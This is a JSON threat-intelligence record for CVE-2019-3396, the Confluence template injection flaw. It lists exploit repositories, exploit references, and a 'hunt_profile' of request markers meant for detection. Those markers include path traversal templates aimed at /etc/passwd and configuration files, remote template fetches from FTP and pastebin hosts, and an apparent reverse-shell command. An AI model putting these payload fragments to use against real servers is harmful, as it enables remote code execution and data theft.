{
  "id": "CVE-2019-3396",
  "url": "https://poc.griffinguard.io/cve/CVE-2019-3396",
  "published_at": "2019-03-25T18:37:06.256Z",
  "title": "Atlassian Confluence Server and Data Center Server-Side Template Injection Vulnerability",
  "vendor": "Atlassian",
  "product": "Confluence Server",
  "cvss": {
    "score": 9.8,
    "source": "cisa-adp",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": true,
    "added_at": "2021-11-03",
    "known_ransomware_campaign_use": "Known",
    "days_after_publication": 954
  },
  "first_poc": {
    "created_at": "2019-04-09T06:20:51Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 14.5,
    "repo": "x-f1v3/CVE-2019-3396",
    "source": "github"
  },
  "poc_repo_count": 11,
  "exploit_count": 4,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.",
  "cwe": "CWE-22",
  "cvss_by_source": {
    "cisa-adp": 9.8
  },
  "repos": [
    {
      "repo": "HK4zCzi/CVE-2019-3396-Velocity-Server-Side-Template-Injection",
      "url": "https://github.com/HK4zCzi/CVE-2019-3396-Velocity-Server-Side-Template-Injection",
      "created_at": null,
      "first_seen_at": "2026-11-14T23:12:49.679Z",
      "stars": 0,
      "is_poc": "unknown",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "skipped"
    },
    {
      "repo": "dothanthitiendiettiende/CVE-2019-3396",
      "url": "https://github.com/dothanthitiendiettiende/CVE-2019-3396",
      "created_at": "2019-04-09T03:26:06Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-06-16T10:20:35Z"
    },
    {
      "repo": "x-f1v3/CVE-2019-3396",
      "url": "https://github.com/x-f1v3/CVE-2019-3396",
      "created_at": "2019-04-09T06:20:51Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 22,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-03-01T13:40:27Z"
    },
    {
      "repo": "xiaoshuier/CVE-2019-3396",
      "url": "https://github.com/xiaoshuier/CVE-2019-3396",
      "created_at": "2019-04-09T11:01:41Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-05-08T09:20:14Z"
    },
    {
      "repo": "Yt1g3r/CVE-2019-3396_EXP",
      "url": "https://github.com/Yt1g3r/CVE-2019-3396_EXP",
      "created_at": "2019-04-10T02:15:47Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 174,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-05-27T10:22:31Z"
    },
    {
      "repo": "jas502n/CVE-2019-3396",
      "url": "https://github.com/jas502n/CVE-2019-3396",
      "created_at": "2019-04-10T02:22:24Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 144,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-01-07T12:20:39Z"
    },
    {
      "repo": "pyn3rd/CVE-2019-3396",
      "url": "https://github.com/pyn3rd/CVE-2019-3396",
      "created_at": "2019-04-10T02:24:29Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 39,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2018-07-19T04:53:32Z"
    },
    {
      "repo": "s1xg0d/CVE-2019-3396",
      "url": "https://github.com/s1xg0d/CVE-2019-3396",
      "created_at": "2019-04-10T07:39:42Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2014-07-31T14:56:08Z"
    },
    {
      "repo": "quanpt103/CVE-2019-3396",
      "url": "https://github.com/quanpt103/CVE-2019-3396",
      "created_at": "2019-04-10T17:05:10Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2018-11-20T02:30:25Z"
    },
    {
      "repo": "vntest11/confluence_CVE-2019-3396",
      "url": "https://github.com/vntest11/confluence_CVE-2019-3396",
      "created_at": "2019-04-28T05:59:21Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2019-01-07T16:28:55Z"
    },
    {
      "repo": "koamania/confluence_ssrf_malware_cleaner",
      "url": "https://github.com/koamania/confluence_ssrf_malware_cleaner",
      "created_at": "2019-04-29T15:07:46Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 2,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-03-11T15:52:38Z"
    },
    {
      "repo": "tanw923/test1",
      "url": "https://github.com/tanw923/test1",
      "created_at": "2019-07-01T09:35:17Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2019-04-19T07:42:03Z"
    },
    {
      "repo": "skommando/CVE-2019-3396-confluence-poc",
      "url": "https://github.com/skommando/CVE-2019-3396-confluence-poc",
      "created_at": "2019-08-21T03:30:53Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-10-11T10:59:01Z"
    },
    {
      "repo": "JonathanZhou348/CVE-2019-3396TEST",
      "url": "https://github.com/JonathanZhou348/CVE-2019-3396TEST",
      "created_at": "2019-10-28T08:43:40Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-08-04T01:21:48Z"
    },
    {
      "repo": "am6539/CVE-2019-3396",
      "url": "https://github.com/am6539/CVE-2019-3396",
      "created_at": "2019-11-21T03:07:08Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-05-17T11:32:29Z"
    },
    {
      "repo": "W2Ning/CVE-2019-3396",
      "url": "https://github.com/W2Ning/CVE-2019-3396",
      "created_at": "2019-12-12T07:40:22Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-11-06T01:44:10Z"
    },
    {
      "repo": "yuehanked/cve-2019-3396",
      "url": "https://github.com/yuehanked/cve-2019-3396",
      "created_at": "2020-11-17T02:01:48Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 30,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 7 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2020-11-17T01:59:27Z"
    },
    {
      "repo": "0xNinjaCyclone/cve-2019-3396",
      "url": "https://github.com/0xNinjaCyclone/cve-2019-3396",
      "created_at": "2021-02-01T16:10:27Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 3,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-06-06T12:17:44Z"
    },
    {
      "repo": "abdallah-elsharif/cve-2019-3396",
      "url": "https://github.com/abdallah-elsharif/cve-2019-3396",
      "created_at": "2021-02-01T16:10:27Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 3,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-06-06T12:17:44Z"
    },
    {
      "repo": "46o60/CVE-2019-3396_Confluence",
      "url": "https://github.com/46o60/CVE-2019-3396_Confluence",
      "created_at": "2021-02-05T16:31:30Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-06-12T09:12:36Z"
    },
    {
      "repo": "PetrusViet/cve-2019-3396",
      "url": "https://github.com/PetrusViet/cve-2019-3396",
      "created_at": "2021-05-01T02:10:04Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 2,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-04-04T09:15:07Z"
    },
    {
      "repo": "Avento/CVE-2019-3396-Memshell-for-Behinder",
      "url": "https://github.com/Avento/CVE-2019-3396-Memshell-for-Behinder",
      "created_at": "2024-05-21T08:20:01Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 2,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-08-14T14:17:17Z"
    },
    {
      "repo": "tranphuc2005/CVE-2019-3396",
      "url": "https://github.com/tranphuc2005/CVE-2019-3396",
      "created_at": "2025-08-30T08:12:21Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2024-09-27T08:33:48Z"
    },
    {
      "repo": "tranphuc2005/NTCS_baocao03",
      "url": "https://github.com/tranphuc2005/NTCS_baocao03",
      "created_at": "2025-08-30T08:12:21Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2024-09-27T08:33:48Z"
    },
    {
      "repo": "kh4sh3i/CVE-2019-3396",
      "url": "https://github.com/kh4sh3i/CVE-2019-3396",
      "created_at": "2025-09-16T04:50:57Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-05-02T13:49:16Z"
    },
    {
      "repo": "tno01/cve-2019-3396",
      "url": "https://github.com/tno01/cve-2019-3396",
      "created_at": "2025-09-30T02:46:08Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2021-04-11T17:33:09Z"
    }
  ],
  "remediation": null,
  "exploit_refs": [
    {
      "url": "https://www.exploit-db.com/exploits/46731/",
      "source": "cvelist",
      "title": "46731",
      "published_at": null,
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://www.exploit-db.com/exploits/46731",
      "source": "exploitdb",
      "title": "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)",
      "published_at": "2019-04-19T00:00:00Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://www.exploit-db.com/exploits/49465",
      "source": "exploitdb",
      "title": "Atlassian Confluence Widget Connector Macro - SSTI",
      "published_at": "2021-01-22T00:00:00Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/confluence_widget_connector.rb",
      "source": "metasploit",
      "title": "Metasploit exploit: Atlassian Confluence Widget Connector Macro Velocity Template Injection (exploit/multi/http/confluence_widget_connector)",
      "published_at": "2019-04-11T12:55:51Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3396.yaml",
      "source": "nuclei",
      "title": "nuclei template: Atlassian Confluence Server - Path Traversal",
      "published_at": "2023-04-27T04:28:59Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "http://www.rapid7.com/db/modules/exploit/multi/http/confluence_widget_connector",
      "source": "pocindex",
      "title": "",
      "published_at": null,
      "first_seen_at": "2026-11-14T11:25:11.578Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/rest/tinymce/1/macro/preview",
      "headers": [
        {
          "name": "Accept",
          "value": "text/plain, */*; q=0.01"
        },
        {
          "name": "Accept",
          "value": "*/*"
        },
        {
          "name": "Accept-Language",
          "value": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"
        },
        {
          "name": "Cookie",
          "value": "seraph.confluence=; JSESSIONID="
        },
        {
          "name": "Referer",
          "value": "{var}/pages/resumedraft.action?draftId=12345\u0026draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23\u0026"
        },
        {
          "name": "Referer",
          "value": "http://10.10.20.181/"
        },
        {
          "name": "Referer",
          "value": "{var}/pages/resumedraft.action?draftId=1\u0026draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23\u0026"
        },
        {
          "name": "Referer",
          "value": "http://x.x.x.x/pages/resumedraft.action?draftId=786457\u0026draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23\u0026"
        },
        {
          "name": "X-Forwarded-For",
          "value": "127.0.0.2"
        },
        {
          "name": "X-Requested-With",
          "value": "XMLHttpRequest"
        }
      ],
      "body_markers": [
        "\"contentId\":\"622594\"",
        "\"macro\"",
        "\"name\":\"widget\"",
        "\"body\"",
        "\"params\"",
        "\"url\":\"https://www.youtube.com/watch?v=WfDp-TkSoFY\u0026ab_channel=TAPMusic\"",
        "\"width\":\"10\"",
        "\"height\":\"10\"",
        "\"_template\":\"https://pastebin.com/raw/JPEpiuLG\"",
        "\"contentId\":\"1507329\"",
        "\"_template\":\"/../../WEB-INF/classes/confluence-init.properties\"",
        "\"width\":\"11\"",
        "\"height\":\"11\"",
        "\"_template\"",
        "\"contentId\":\"12345\"",
        "\"url\":\"https://www.viddler.com/v/23464dc5\"",
        "\"width\":\"1000\"",
        "\"height\":\"1000\"",
        "\"contentId\":\"1\"",
        "\"url\":\"https://www.viddler.com/v/test\"",
        "\"_template\":\"file:///etc/passwd\"",
        "\"_template\":\"ftp://10.10.20.166:8886/r.vm\"",
        "\"command\":\"ifconfig\"",
        "\"_template\":\"ftp://10.10.20.166:8888/r.vm\"",
        "\"command\":\"setsid python /tmp/nc.py 10.10.20.166 8989\"",
        "\"command\"",
        "\"_template\":\"ftp://***:8888/cmd.vm\"",
        "\"command\":\"id\"",
        "\"contentId\":\"786457\"",
        "\"_template\":\"https://raw.githubusercontent.com/x-f1v3/CVE-2019-3396/master/1.vm\"",
        "\"_template\":\"../web.xml\""
      ],
      "content_type": "application/json; charset=utf-8",
      "ports": [
        8080,
        8090
      ],
      "user_agents": [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
        "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
      ],
      "protocol": "http",
      "repos": [
        "PetrusViet/cve-2019-3396",
        "Yt1g3r/CVE-2019-3396_EXP",
        "jas502n/CVE-2019-3396",
        "kh4sh3i/CVE-2019-3396",
        "x-f1v3/CVE-2019-3396"
      ],
      "repo_count": 5,
      "confidence": 0.85,
      "evidence": [
        "PetrusViet/cve-2019-3396/README.md:172",
        "PetrusViet/cve-2019-3396/README.md:268",
        "PetrusViet/cve-2019-3396/README.md:287",
        "Yt1g3r/CVE-2019-3396_EXP/RCE_exp.py:25",
        "Yt1g3r/CVE-2019-3396_EXP/RCE_exp.py:45",
        "jas502n/CVE-2019-3396/README.md:10",
        "jas502n/CVE-2019-3396/README.md:33",
        "jas502n/CVE-2019-3396/README.md:79",
        "jas502n/CVE-2019-3396/cve-2019-3396.py:48",
        "kh4sh3i/CVE-2019-3396/README.md:54",
        "kh4sh3i/CVE-2019-3396/README.md:65",
        "kh4sh3i/CVE-2019-3396/poc.py:52",
        "x-f1v3/CVE-2019-3396/README.md:7",
        "x-f1v3/CVE-2019-3396/README.md:25"
      ]
    }
  ],
  "rules": []
}
